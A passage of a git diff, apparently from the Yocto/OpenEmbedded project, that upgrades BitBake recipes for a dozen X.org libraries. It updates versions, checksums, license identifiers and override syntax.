-DESCRIPTION = "The purpose of the X Display Manager Control Protocol \
-(XDMCP) is to provide a uniform mechanism for an autonomous display to \
-request login service from a remote host. An X terminal (screen, \
-keyboard, mouse, processor, network interface) is a prime example of an \
-autonomous display."
-
-require xorg-lib-common.inc
-
-inherit gettext
-
-LICENSE = "MIT-style"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d559fb26e129626022e052a5e6e0e123"
-
-DEPENDS += "xorgproto"
-PROVIDES = "xdmcp"
-
-PE = "1"
-
-XORG_PN = "libXdmcp"
-
-BBCLASSEXTEND = "native nativesdk"
-
-SRC_URI[md5sum] = "115c5c12ecce0e749cd91d999a5fd160"
-SRC_URI[sha256sum] = "20523b44aaa513e17c009e873ad7bbc301507a3224c232610ce2e099011c6529"
-
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[arc4] = "ac_cv_lib_bsd_arc4random_buf=yes,ac_cv_lib_bsd_arc4random_buf=no,libbsd"
diff --git a/meta/recipes-graphics/xorg-lib/libxdmcp_1.1.5.bb b/meta/recipes-graphics/xorg-lib/libxdmcp_1.1.5.bb
new file mode 100644
index 0000000000..d1a1a2e7f9
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libxdmcp_1.1.5.bb
@@ -0,0 +1,28 @@
+SUMMARY = "XDMCP: X Display Manager Control Protocol library"
+
+DESCRIPTION = "The purpose of the X Display Manager Control Protocol \
+(XDMCP) is to provide a uniform mechanism for an autonomous display to \
+request login service from a remote host. An X terminal (screen, \
+keyboard, mouse, processor, network interface) is a prime example of an \
+autonomous display."
+
+require xorg-lib-common.inc
+
+inherit gettext
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d559fb26e129626022e052a5e6e0e123"
+
+DEPENDS += "xorgproto"
+PROVIDES = "xdmcp"
+
+PE = "1"
+
+XORG_PN = "libXdmcp"
+
+BBCLASSEXTEND = "native nativesdk"
+
+SRC_URI[sha256sum] = "d8a5222828c3adab70adf69a5583f1d32eb5ece04304f7f8392b6a353aa2228c"
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[arc4] = "ac_cv_lib_bsd_arc4random_buf=yes,ac_cv_lib_bsd_arc4random_buf=no,libbsd"
diff --git a/meta/recipes-graphics/xorg-lib/libxext_1.3.4.bb b/meta/recipes-graphics/xorg-lib/libxext_1.3.4.bb
deleted file mode 100644
index 9493111a67..0000000000
--- a/meta/recipes-graphics/xorg-lib/libxext_1.3.4.bb
+++ /dev/null
@@ -1,26 +0,0 @@
-SUMMARY = "XExt: X Extension library"
-
-DESCRIPTION = "libXext provides an X Window System client interface to \
-several extensions to the X protocol. The supported protocol extensions \
-are DOUBLE-BUFFER, DPMS, Extended-Visual-Information, LBX, MIT_SHM, \
-MIT_SUNDRY-NONSTANDARD, Multi-Buffering, SECURITY, SHAPE, SYNC, TOG-CUP, \
-XC-APPGROUP, XC-MISC, XTEST. libXext also provides a small set of \
-utility functions to aid authors of client APIs for X protocol \
-extensions."
-
-require xorg-lib-common.inc
-
-LICENSE = "MIT-style"
-LIC_FILES_CHKSUM = "file://COPYING;md5=879ce266785414bd1cbc3bc2f4d9d7c8"
-
-DEPENDS += "xorgproto virtual/libx11"
-PROVIDES = "xext"
-
-PE = "1"
-
-XORG_PN = "libXext"
-
-BBCLASSEXTEND = "native nativesdk"
-
-SRC_URI[md5sum] = "f5b48bb76ba327cd2a8dc7a383532a95"
-SRC_URI[sha256sum] = "59ad6fcce98deaecc14d39a672cf218ca37aba617c9a0f691cac3bcd28edf82b"
diff --git a/meta/recipes-graphics/xorg-lib/libxext_1.3.6.bb b/meta/recipes-graphics/xorg-lib/libxext_1.3.6.bb
new file mode 100644
index 0000000000..275926a885
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libxext_1.3.6.bb
@@ -0,0 +1,24 @@
+SUMMARY = "XExt: X Extension library"
+
+DESCRIPTION = "libXext provides an X Window System client interface to \
+several extensions to the X protocol. The supported protocol extensions \
+are DOUBLE-BUFFER, DPMS, Extended-Visual-Information, LBX, MIT_SHM, \
+MIT_SUNDRY-NONSTANDARD, Multi-Buffering, SECURITY, SHAPE, SYNC, TOG-CUP, \
+XC-APPGROUP, XC-MISC, XTEST. libXext also provides a small set of \
+utility functions to aid authors of client APIs for X protocol \
+extensions."
+
+require xorg-lib-common.inc
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=4234bb3b2f1521ea101e4e9db7c33c69"
+
+DEPENDS += "xorgproto virtual/libx11"
+PROVIDES = "xext"
+
+PE = "1"
+
+XORG_PN = "libXext"
+BBCLASSEXTEND = "native nativesdk"
+
+SRC_URI[sha256sum] = "edb59fa23994e405fdc5b400afdf5820ae6160b94f35e3dc3da4457a16e89753"
diff --git a/meta/recipes-graphics/xorg-lib/libxfixes_5.0.3.bb b/meta/recipes-graphics/xorg-lib/libxfixes_5.0.3.bb
deleted file mode 100644
index f0e2f606ce..0000000000
--- a/meta/recipes-graphics/xorg-lib/libxfixes_5.0.3.bb
+++ /dev/null
@@ -1,23 +0,0 @@
-SUMMARY = "XFixes: X Fixes extension library"
-
-DESCRIPTION = "X applications have often needed to work around various \
-shortcomings in the core X window system. This extension is designed to \
-provide the minimal server-side support necessary to eliminate problems \
-caused by these workarounds."
-
-require xorg-lib-common.inc
-
-LICENSE = "MIT-style"
-LIC_FILES_CHKSUM = "file://COPYING;md5=3c1ce42c334a6f5cccb0277556a053e0"
-
-DEPENDS += "virtual/libx11 xorgproto"
-
-PE = "1"
-
-XORG_PN = "libXfixes"
-
-BBCLASSEXTEND = "native nativesdk"
-
-SRC_URI[md5sum] = "07e01e046a0215574f36a3aacb148be0"
-SRC_URI[sha256sum] = "de1cd33aff226e08cefd0e6759341c2c8e8c9faf8ce9ac6ec38d43e287b22ad6"
-
diff --git a/meta/recipes-graphics/xorg-lib/libxfixes_6.0.1.bb b/meta/recipes-graphics/xorg-lib/libxfixes_6.0.1.bb
new file mode 100644
index 0000000000..28df7bb805
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libxfixes_6.0.1.bb
@@ -0,0 +1,21 @@
+SUMMARY = "XFixes: X Fixes extension library"
+
+DESCRIPTION = "X applications have often needed to work around various \
+shortcomings in the core X window system. This extension is designed to \
+provide the minimal server-side support necessary to eliminate problems \
+caused by these workarounds."
+
+require xorg-lib-common.inc
+SRC_URI[sha256sum] = "b695f93cd2499421ab02d22744458e650ccc88c1d4c8130d60200213abc02d58"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=a5a9755c8921cc7dc08a5cfe4267d0ff"
+
+DEPENDS += "virtual/libx11 xorgproto"
+
+PE = "1"
+
+XORG_PN = "libXfixes"
+XORG_EXT = "tar.xz"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-lib/libxfont2_2.0.4.bb b/meta/recipes-graphics/xorg-lib/libxfont2_2.0.4.bb
deleted file mode 100644
index 1c9cc0a21d..0000000000
--- a/meta/recipes-graphics/xorg-lib/libxfont2_2.0.4.bb
+++ /dev/null
@@ -1,24 +0,0 @@
-SUMMARY = "XFont2: X Font rasterisation library"
-
-DESCRIPTION = "libXfont2 provides various services for X servers, most \
-notably font selection and rasterisation (through external libraries \
-such as freetype)."
-
-require xorg-lib-common.inc
-
-LICENSE = "MIT & MIT-style & BSD"
-LIC_FILES_CHKSUM = "file://COPYING;md5=a46c8040f2f737bcd0c435feb2ab1c2c"
-
-DEPENDS += "freetype xtrans xorgproto libfontenc zlib"
-
-XORG_PN = "libXfont2"
-
-BBCLASSEXTEND = "native"
-
-SRC_URI[md5sum] = "00516bed7ec1453d56974560379fff2f"
-SRC_URI[sha256sum] = "6d151b3368e5035efede4b6264c0fdc6662c1c99dbc2de425e3480cababc69e6"
-
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
-PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
-
-CVE_PRODUCT = "libxfont libxfont2"
diff --git a/meta/recipes-graphics/xorg-lib/libxfont2_2.0.6.bb b/meta/recipes-graphics/xorg-lib/libxfont2_2.0.6.bb
new file mode 100644
index 0000000000..535e7f629e
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libxfont2_2.0.6.bb
@@ -0,0 +1,23 @@
+SUMMARY = "XFont2: X Font rasterisation library"
+
+DESCRIPTION = "libXfont2 provides various services for X servers, most \
+notably font selection and rasterisation (through external libraries \
+such as freetype)."
+
+require xorg-lib-common.inc
+
+LICENSE = "MIT & MIT & BSD-4-Clause & BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=a46c8040f2f737bcd0c435feb2ab1c2c"
+
+DEPENDS += "freetype xtrans xorgproto libfontenc zlib"
+
+XORG_PN = "libXfont2"
+
+BBCLASSEXTEND = "native"
+
+SRC_URI[sha256sum] = "74ca20017eb0fb3f56d8d5e60685f560fc85e5ff3d84c61c4cb891e40c27aef4"
+
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
+PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
+
+CVE_PRODUCT = "libxfont libxfont2"
diff --git a/meta/recipes-graphics/xorg-lib/libxfont_1.5.4.bb b/meta/recipes-graphics/xorg-lib/libxfont_1.5.4.bb
index 94c6c66e87..fa6585d6dc 100644
--- a/meta/recipes-graphics/xorg-lib/libxfont_1.5.4.bb
+++ b/meta/recipes-graphics/xorg-lib/libxfont_1.5.4.bb
@@ -6,7 +6,7 @@ such as freetype)."
require xorg-lib-common.inc
-LICENSE = "MIT & MIT-style & BSD"
+LICENSE = "MIT & MIT & BSD-3-Clause"
LIC_FILES_CHKSUM = "file://COPYING;md5=a46c8040f2f737bcd0c435feb2ab1c2c"
DEPENDS += "freetype xtrans xorgproto libfontenc zlib"
@@ -15,6 +15,7 @@ PROVIDES = "xfont"
PE = "1"
XORG_PN = "libXfont"
+XORG_EXT = "tar.bz2"
BBCLASSEXTEND = "native"
diff --git a/meta/recipes-graphics/xorg-lib/libxft_2.3.3.bb b/meta/recipes-graphics/xorg-lib/libxft_2.3.3.bb
deleted file mode 100644
index 65bd9ae494..0000000000
--- a/meta/recipes-graphics/xorg-lib/libxft_2.3.3.bb
+++ /dev/null
@@ -1,33 +0,0 @@
-SUMMARY = "XFt: X FreeType libary"
-
-DESCRIPTION = "Xft was designed to provide good support for scalable \
-fonts, and to do so efficiently. Unlike the core fonts system, it \
-supports features such as anti-aliasing and sub-pixel rasterisation. \
-Perhaps more importantly, it gives applications full control over the \
-way glyphs are rendered, making fine typesetting and WYSIWIG display \
-possible. Finally, it allows applications to use fonts that are not \
-installed system-wide for displaying documents with embedded fonts. Xft \
-is not compatible with the core fonts system: usage of Xft requires \
-fairly extensive changes to toolkits (user-interface libraries)."
-
-require xorg-lib-common.inc
-
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=90b90b60eb30f65fc9c2673d7cf59e24"
-
-DEPENDS += "virtual/libx11 libxrender freetype fontconfig"
-PROVIDES = "xft"
-
-PE = "1"
-
-SRC_URI[md5sum] = "4a433c24627b4ff60a4dd403a0990796"
-SRC_URI[sha256sum] = "225c68e616dd29dbb27809e45e9eadf18e4d74c50be43020ef20015274529216"
-
-XORG_PN = "libXft"
-
-BBCLASSEXTEND = "native nativesdk"
-
-python () {
- if d.getVar('DEBIAN_NAMES'):
- d.setVar('PKG_${PN}', '${MLPREFIX}libxft2')
-}
diff --git a/meta/recipes-graphics/xorg-lib/libxft_2.3.8.bb b/meta/recipes-graphics/xorg-lib/libxft_2.3.8.bb
new file mode 100644
index 0000000000..2699c1dfd7
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libxft_2.3.8.bb
@@ -0,0 +1,32 @@
+SUMMARY = "XFt: X FreeType libary"
+
+DESCRIPTION = "Xft was designed to provide good support for scalable \
+fonts, and to do so efficiently. Unlike the core fonts system, it \
+supports features such as anti-aliasing and sub-pixel rasterisation. \
+Perhaps more importantly, it gives applications full control over the \
+way glyphs are rendered, making fine typesetting and WYSIWIG display \
+possible. Finally, it allows applications to use fonts that are not \
+installed system-wide for displaying documents with embedded fonts. Xft \
+is not compatible with the core fonts system: usage of Xft requires \
+fairly extensive changes to toolkits (user-interface libraries)."
+
+require xorg-lib-common.inc
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=90b90b60eb30f65fc9c2673d7cf59e24"
+
+DEPENDS += "virtual/libx11 libxrender freetype fontconfig"
+PROVIDES = "xft"
+
+PE = "1"
+
+SRC_URI[sha256sum] = "5e8c3c4bc2d4c0a40aef6b4b38ed2fb74301640da29f6528154b5009b1c6dd49"
+
+XORG_PN = "libXft"
+
+BBCLASSEXTEND = "native nativesdk"
+
+python populate_packages:prepend () {
+ if d.getVar('DEBIAN_NAMES'):
+ d.setVar('PKG:${PN}', '${MLPREFIX}libxft2')
+}
diff --git a/meta/recipes-graphics/xorg-lib/libxi_1.7.10.bb b/meta/recipes-graphics/xorg-lib/libxi_1.7.10.bb
deleted file mode 100644
index 5a08e07362..0000000000
--- a/meta/recipes-graphics/xorg-lib/libxi_1.7.10.bb
+++ /dev/null
@@ -1,23 +0,0 @@
-require xorg-lib-common.inc
-
-SUMMARY = "XI: X Input extension library"
-
-DESCRIPTION = "libxi is an extension to the X11 protocol to support \
-input devices other than the core X keyboard and pointer. It allows \
-client programs to select input from these devices independently from \
-each other and independently from the core devices."
-
-LICENSE = "MIT & MIT-style"
-LIC_FILES_CHKSUM = "file://COPYING;md5=17b064789fab936a1c58c4e13d965b0f \
- file://src/XIGetDevFocus.c;endline=23;md5=cdfb0d435a33ec57ea0d1e8e395b729f"
-
-DEPENDS += "libxext xorgproto libxfixes"
-
-PE = "1"
-
-XORG_PN = "libXi"
-
-SRC_URI[md5sum] = "62c4af0839072024b4b1c8cbe84216c7"
-SRC_URI[sha256sum] = "36a30d8f6383a72e7ce060298b4b181fd298bc3a135c8e201b7ca847f5f81061"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-lib/libxi_1.8.1.bb b/meta/recipes-graphics/xorg-lib/libxi_1.8.1.bb
new file mode 100644
index 0000000000..00bd46ef13
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libxi_1.8.1.bb
@@ -0,0 +1,23 @@
+require xorg-lib-common.inc
+
+SUMMARY = "XI: X Input extension library"
+
+DESCRIPTION = "libxi is an extension to the X11 protocol to support \
+input devices other than the core X keyboard and pointer. It allows \
+client programs to select input from these devices independently from \
+each other and independently from the core devices."
+
+LICENSE = "MIT & MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=17b064789fab936a1c58c4e13d965b0f \
+ file://src/XIGetDevFocus.c;endline=23;md5=cdfb0d435a33ec57ea0d1e8e395b729f"
+
+DEPENDS += "libxext xorgproto libxfixes"
+
+PE = "1"
+
+XORG_PN = "libXi"
+XORG_EXT = "tar.xz"
+
+SRC_URI[sha256sum] = "89bfc0e814f288f784202e6e5f9b362b788ccecdeb078670145eacd8749656a7"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-lib/libxinerama_1.1.4.bb b/meta/recipes-graphics/xorg-lib/libxinerama_1.1.4.bb
deleted file mode 100644
index edce35da5d..0000000000
--- a/meta/recipes-graphics/xorg-lib/libxinerama_1.1.4.bb
+++ /dev/null
@@ -1,22 +0,0 @@
-require xorg-lib-common.inc
-
-SUMMARY = "Xinerama: Xinerama extension library"
-
-DESCRIPTION = "Xinerama is a simple library designed to interface the \
-Xinerama Extension for retrieving information about physical output \
-devices which may be combined into a single logical X screen."
-
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=6f4f634d1643a2e638bba3fcd19c2536 \
- file://src/Xinerama.c;beginline=2;endline=25;md5=fcef273bfb66339256411dd06ea79c02"
-
-DEPENDS += "libxext xorgproto"
-PROVIDES = "xinerama"
-PE = "1"
-
-XORG_PN = "libXinerama"
-
-SRC_URI[md5sum] = "0d5f826a197dae74da67af4a9ef35885"
-SRC_URI[sha256sum] = "0008dbd7ecf717e1e507eed1856ab0d9cf946d03201b85d5dcf61489bb02d720"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-lib/libxinerama_1.1.5.bb b/meta/recipes-graphics/xorg-lib/libxinerama_1.1.5.bb
new file mode 100644
index 0000000000..421b64e68d
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libxinerama_1.1.5.bb
@@ -0,0 +1,20 @@
+require xorg-lib-common.inc
+
+SUMMARY = "Xinerama: Xinerama extension library"
+
+DESCRIPTION = "Xinerama is a simple library designed to interface the \
+Xinerama Extension for retrieving information about physical output \
+devices which may be combined into a single logical X screen."
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=6f4f634d1643a2e638bba3fcd19c2536 \
+ file://src/Xinerama.c;beginline=2;endline=25;md5=fcef273bfb66339256411dd06ea79c02"
+
+DEPENDS += "libxext xorgproto"
+PROVIDES = "xinerama"
+PE = "1"
+
+XORG_PN = "libXinerama"
+SRC_URI[sha256sum] = "5094d1f0fcc1828cb1696d0d39d9e866ae32520c54d01f618f1a3c1e30c2085c"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-lib/libxkbcommon_0.10.0.bb b/meta/recipes-graphics/xorg-lib/libxkbcommon_0.10.0.bb
deleted file mode 100644
index 16d9c36eae..0000000000
--- a/meta/recipes-graphics/xorg-lib/libxkbcommon_0.10.0.bb
+++ /dev/null
@@ -1,27 +0,0 @@
-SUMMARY = "Generic XKB keymap library"
-DESCRIPTION = "libxkbcommon is a keymap compiler and support library which \
-processes a reduced subset of keymaps as defined by the XKB specification."
-HOMEPAGE = "http://www.xkbcommon.org"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=e525ed9809e1f8a07cf4bce8b09e8b87"
-LICENSE = "MIT & MIT-style"
-
-DEPENDS = "util-macros flex-native bison-native"
-
-SRC_URI = "http://xkbcommon.org/download/${BPN}-${PV}.tar.xz"
-
-SRC_URI[md5sum] = "2d9ad3a46b317138b5e72a91cf105451"
-SRC_URI[sha256sum] = "57c3630cdc38fb4734cd57fa349e92244f5ae3862813e533cedbd86721a0b6f2"
-
-UPSTREAM_CHECK_URI = "http://xkbcommon.org/"
-
-inherit meson pkgconfig
-
-EXTRA_OEMESON = "-Denable-docs=false"
-
-PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'x11 wayland', d)}"
-PACKAGECONFIG[x11] = "-Denable-x11=true,-Denable-x11=false,libxcb xkeyboard-config,"
-PACKAGECONFIG[wayland] = "-Denable-wayland=true,-Denable-wayland=false,wayland-native wayland wayland-protocols,"
-
-# Fix a following runtime error:
-# xkbcommon: ERROR: couldn't find a Compose file for locale "C"
-RDEPENDS_${PN} = "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'libx11-locale', 'libx11-compose-data', d)}"
diff --git a/meta/recipes-graphics/xorg-lib/libxkbcommon_1.7.0.bb b/meta/recipes-graphics/xorg-lib/libxkbcommon_1.7.0.bb
new file mode 100644
index 0000000000..40cf616f0b
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libxkbcommon_1.7.0.bb
@@ -0,0 +1,40 @@
+SUMMARY = "Generic XKB keymap library"
+DESCRIPTION = "libxkbcommon is a keymap compiler and support library which \
+processes a reduced subset of keymaps as defined by the XKB specification."
+HOMEPAGE = "http://www.xkbcommon.org"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=e525ed9809e1f8a07cf4bce8b09e8b87"
+LICENSE = "MIT & MIT"
+
+DEPENDS = "flex-native bison-native"
+
+SRC_URI = "http://xkbcommon.org/download/${BPN}-${PV}.tar.xz"
+
+SRC_URI[sha256sum] = "65782f0a10a4b455af9c6baab7040e2f537520caa2ec2092805cdfd36863b247"
+
+UPSTREAM_CHECK_URI = "http://xkbcommon.org/"
+
+inherit meson pkgconfig bash-completion
+
+PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'x11 wayland', d)} xkbregistry"
+
+PACKAGECONFIG[docs] = "-Denable-docs=true,-Denable-docs=false,doxygen-native"
+PACKAGECONFIG[wayland] = "-Denable-wayland=true,-Denable-wayland=false,wayland-native wayland wayland-protocols,"
+PACKAGECONFIG[x11] = "-Denable-x11=true,-Denable-x11=false,libxcb xkeyboard-config,"
+PACKAGECONFIG[xkbregistry] = "-Denable-xkbregistry=true,-Denable-xkbregistry=false,libxml2"
+
+PACKAGE_BEFORE_PN += "xkbcli"
+FILES:${PN} = ""
+FILES:xkbcli = "${bindir}/xkbcli ${libexecdir}/xkbcommon/xkbcli-*"
+
+python populate_packages:prepend () {
+ # Put the libraries into separate packages to avoid dependency creep
+ do_split_packages(d, d.expand('${libdir}'), r'^(lib.*)\.so\.*', '%s', '%s library', extra_depends='', allow_links=True)
+}
+
+# Fix a following runtime error:
+# xkbcommon: ERROR: couldn't find a Compose file for locale "C"
+RDEPENDS:${PN} = "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'libx11-locale', 'libx11-compose-data', d)}"
+
+BBCLASSEXTEND += "native"
+
+CVE_PRODUCT += "xkbcommon:libxkbcommon"
diff --git a/meta/recipes-graphics/xorg-lib/libxkbfile_1.1.0.bb b/meta/recipes-graphics/xorg-lib/libxkbfile_1.1.0.bb
deleted file mode 100644
index 3a6c50ca21..0000000000
--- a/meta/recipes-graphics/xorg-lib/libxkbfile_1.1.0.bb
+++ /dev/null
@@ -1,18 +0,0 @@
-SUMMARY = "XKB: X Keyboard File manipulation library"
-
-DESCRIPTION = "libxkbfile provides an interface to read and manipulate \
-description files for XKB, the X11 keyboard configuration extension."
-
-require xorg-lib-common.inc
-
-LICENSE = "MIT-style"
-LIC_FILES_CHKSUM = "file://COPYING;md5=8be7367f7e5d605a426f76bb37d4d61f"
-
-DEPENDS += "virtual/libx11 xorgproto"
-
-PE = "1"
-
-BBCLASSEXTEND = "native"
-
-SRC_URI[md5sum] = "dd7e1e946def674e78c0efbc5c7d5b3b"
-SRC_URI[sha256sum] = "758dbdaa20add2db4902df0b1b7c936564b7376c02a0acd1f2a331bd334b38c7"
diff --git a/meta/recipes-graphics/xorg-lib/libxkbfile_1.1.3.bb b/meta/recipes-graphics/xorg-lib/libxkbfile_1.1.3.bb
new file mode 100644
index 0000000000..aab6284384
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libxkbfile_1.1.3.bb
@@ -0,0 +1,16 @@
+SUMMARY = "XKB: X Keyboard File manipulation library"
+
+DESCRIPTION = "libxkbfile provides an interface to read and manipulate \
+description files for XKB, the X11 keyboard configuration extension."
+
+require xorg-lib-common.inc
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=8be7367f7e5d605a426f76bb37d4d61f"
+
+DEPENDS += "virtual/libx11 xorgproto"
+
+PE = "1"
+
+BBCLASSEXTEND = "native"
+SRC_URI[sha256sum] = "a9b63eea997abb9ee6a8b4fbb515831c841f471af845a09de443b28003874bec"
diff --git a/meta/recipes-graphics/xorg-lib/libxmu_1.1.3.bb b/meta/recipes-graphics/xorg-lib/libxmu_1.1.3.bb
deleted file mode 100644
index dc3179f53e..0000000000
--- a/meta/recipes-graphics/xorg-lib/libxmu_1.1.3.bb
+++ /dev/null
@@ -1,34 +0,0 @@
-SUMMARY = "Xmu and Xmuu: X Miscellaneous Utility libraries"
-
-DESCRIPTION = "The Xmu Library is a collection of miscellaneous (some \
-might say random) utility functions that have been useful in building \
-various applications and widgets. This library is required by the Athena \
-Widgets. A subset of the functions that do not rely on the Athena \
-Widgets (libXaw) or X Toolkit Instrinsics (libXt) are provided in a \
-second library, libXmuu."
-
-require xorg-lib-common.inc
-
-LICENSE = "MIT & MIT-style"
-LIC_FILES_CHKSUM = "file://COPYING;md5=def3d8e4e9c42004f1941fa22f01dc18"
-
-DEPENDS += "libxt libxext"
-PROVIDES = "xmu"
-
-PE = "1"
-
-XORG_PN = "libXmu"
-
-LEAD_SONAME = "libXmu"
-
-PACKAGES =+ "libxmuu"
-
-FILES_libxmuu = "${libdir}/libXmuu.so.*"
-
-BBCLASSEXTEND = "native"
-
-SRC_URI[md5sum] = "ac774cff8b493f566088a255dbf91201"
-SRC_URI[sha256sum] = "9c343225e7c3dc0904f2122b562278da5fed639b1b5e880d25111561bac5b731"
-
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
-PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
diff --git a/meta/recipes-graphics/xorg-lib/libxmu_1.2.0.bb b/meta/recipes-graphics/xorg-lib/libxmu_1.2.0.bb
new file mode 100644
index 0000000000..d97bc7a3dd
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libxmu_1.2.0.bb
@@ -0,0 +1,30 @@
+SUMMARY = "Xmu and Xmuu: X Miscellaneous Utility libraries"
+
+DESCRIPTION = "The Xmu Library is a collection of miscellaneous (some \
+might say random) utility functions that have been useful in building \
+various applications and widgets. This library is required by the Athena \
+Widgets. A subset of the functions that do not rely on the Athena \
+Widgets (libXaw) or X Toolkit Instrinsics (libXt) are provided in a \
+second library, libXmuu."
+
+require xorg-lib-common.inc
+
+LICENSE = "MIT & MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=e79ad4fcc53b9bfe0fc38507a56446b9"
+
+DEPENDS += "libxt libxext"
+PROVIDES = "xmu"
+
+PE = "1"
+
+XORG_PN = "libXmu"
+
+LEAD_SONAME = "libXmu"
+
+PACKAGES =+ "libxmuu"
+
+FILES:libxmuu = "${libdir}/libXmuu.so.*"
+
+BBCLASSEXTEND = "native"
+
+SRC_URI[sha256sum] = "072026fe305889538e5b0c5f9cbcd623d2c27d2b85dcd37ca369ab21590b6963"
diff --git a/meta/recipes-graphics/xorg-lib/libxpm_3.5.13.bb b/meta/recipes-graphics/xorg-lib/libxpm_3.5.13.bb
deleted file mode 100644
index fda8e32d2c..0000000000
--- a/meta/recipes-graphics/xorg-lib/libxpm_3.5.13.bb
+++ /dev/null
@@ -1,27 +0,0 @@
-require xorg-lib-common.inc
-
-# libxpm requires xgettext to build
-inherit gettext
-
-SUMMARY = "Xpm: X Pixmap extension library"
-
-DESCRIPTION = "libXpm provides support and common operation for the XPM \
-pixmap format, which is commonly used in legacy X applications. XPM is \
-an extension of the monochrome XBM bitmap specificied in the X \
-protocol."
-
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=51f4270b012ecd4ab1a164f5f4ed6cf7"
-DEPENDS += "libxext libsm libxt gettext-native"
-PE = "1"
-
-XORG_PN = "libXpm"
-
-PACKAGES =+ "sxpm cxpm"
-FILES_cxpm = "${bindir}/cxpm"
-FILES_sxpm = "${bindir}/sxpm"
-
-SRC_URI[md5sum] = "6f0ecf8d103d528cfc803aa475137afa"
-SRC_URI[sha256sum] = "9cd1da57588b6cb71450eff2273ef6b657537a9ac4d02d0014228845b935ac25"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-graphics/xorg-lib/libxpm_3.5.17.bb b/meta/recipes-graphics/xorg-lib/libxpm_3.5.17.bb
new file mode 100644
index 0000000000..8e15ecc0d4
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libxpm_3.5.17.bb
@@ -0,0 +1,27 @@
+require xorg-lib-common.inc
+
+# libxpm requires xgettext to build
+inherit gettext
+
+SUMMARY = "Xpm: X Pixmap extension library"
+
+DESCRIPTION = "libXpm provides support and common operation for the XPM \
+pixmap format, which is commonly used in legacy X applications. XPM is \
+an extension of the monochrome XBM bitmap specificied in the X \
+protocol."
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=903942ebc9d807dfb68540f40bae5aff"
+DEPENDS += "libxext libsm libxt gettext-native"
+PE = "1"
+
+XORG_PN = "libXpm"
+EXTRA_OECONF += "--disable-open-zfile"
+
+PACKAGES =+ "sxpm cxpm"
+FILES:cxpm = "${bindir}/cxpm"
+FILES:sxpm = "${bindir}/sxpm"
+
+SRC_URI[sha256sum] = "64b31f81019e7d388c822b0b28af8d51c4622b83f1f0cb6fa3fc95e271226e43"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-graphics/xorg-lib/libxrandr_1.5.2.bb b/meta/recipes-graphics/xorg-lib/libxrandr_1.5.2.bb
deleted file mode 100644
index 53a8335d64..0000000000
--- a/meta/recipes-graphics/xorg-lib/libxrandr_1.5.2.bb
+++ /dev/null
@@ -1,23 +0,0 @@
-SUMMARY = "XRandR: X Resize, Rotate and Reflect extension library"
-
-DESCRIPTION = "The X Resize, Rotate and Reflect Extension, called RandR \
-for short, brings the ability to resize, rotate and reflect the root \
-window of a screen. It is based on the X Resize and Rotate Extension as \
-specified in the Proceedings of the 2001 Usenix Technical Conference \
-[RANDR]."
-
-require xorg-lib-common.inc
-
-LICENSE = "MIT-style"
-LIC_FILES_CHKSUM = "file://COPYING;md5=c9d1a2118a6cd5727521db8e7a2fee69"
-
-DEPENDS += "virtual/libx11 xorgproto libxrender libxext"
-
-PE = "1"
-
-XORG_PN = "libXrandr"
-
-BBCLASSEXTEND = "native nativesdk"
-
-SRC_URI[md5sum] = "18f3b20d522f45e4dadd34afb5bea048"
-SRC_URI[sha256sum] = "8aea0ebe403d62330bb741ed595b53741acf45033d3bda1792f1d4cc3daee023"
diff --git a/meta/recipes-graphics/xorg-lib/libxrandr_1.5.4.bb b/meta/recipes-graphics/xorg-lib/libxrandr_1.5.4.bb
new file mode 100644
